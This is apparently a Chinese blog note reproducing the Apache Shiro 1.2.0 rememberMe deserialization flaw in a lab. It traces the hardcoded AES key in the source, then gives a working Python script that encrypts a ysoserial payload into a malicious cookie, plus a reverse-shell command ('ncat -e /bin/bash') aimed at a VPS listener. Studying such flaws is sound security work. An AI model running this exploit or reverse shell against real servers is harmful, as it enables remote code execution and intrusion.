command+E:显示最近编辑的文件列表
option+command+B :跟实现类
command+B :跟继承类
调试环境:
JDK 1.8
Tomcat 8.5
搭建环境:
1.下载shiro源码
git clone https://github.com/apache/shiro.git shiro-root
cd shiro-root
git checkout 1.2.0
修改:将jstl的版本改为1.2。
等依赖下载完
下载太慢解决方法:
https://blog.csdn.net/Yaoman753/article/details/102880941
漏洞当中提到了 AES 和 加密密钥硬编码,所以需要去跟一下源码。打开 CookieRememberMemanager.java,
继续跟它的父类 AbstractRememberMeManager:找到硬编码的加密密钥
public abstract class AbstractRememberMeManager implements RememberMeManager {
private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
private Serializer<PrincipalCollection> serializer = new DefaultSerializer();
private CipherService cipherService = new AesCipherService();
private byte[] encryptionCipherKey;
private byte[] decryptionCipherKey;
一目了然,kPH+bIxk5D2deZiIxcaaaA==就是被写到代码中的密钥,我们都知道AES 是对称加密,对称加密的加解密使用的密钥是相同的。
下翻到后面,看到encrypt的代码,如下图所示:
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}
接着跟CipherService函数:
public abstract class JcaCipherService implements CipherService
JcaCipherService 类来实现 CipherService的接口
接着翻这一页的代码。
动态调试看看:
序列化用的类是PrincipalCollection,encrypt的方法是AES,模式为CBC,填充模式为PKCS5.
cookie生成脚本:
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
Vps
本地:python3 payload.py "ncat -e /bin/bash IP PORT"
vps执行
nc -vlp 2345
本地执行:
http :8080/web_war/ Cookie:`cat payload.cookie`
成功反弹shell
实际渗透环境中,只要得到key,有很多gadgets可以利用。
同时19年爆出
https://issues.apache.org/jira/browse/SHIRO-721
Shiro 721 Padding Oracle,相较于550而言,它不需要知道key的值,但是它需要一个合法用户的rememberMe cookie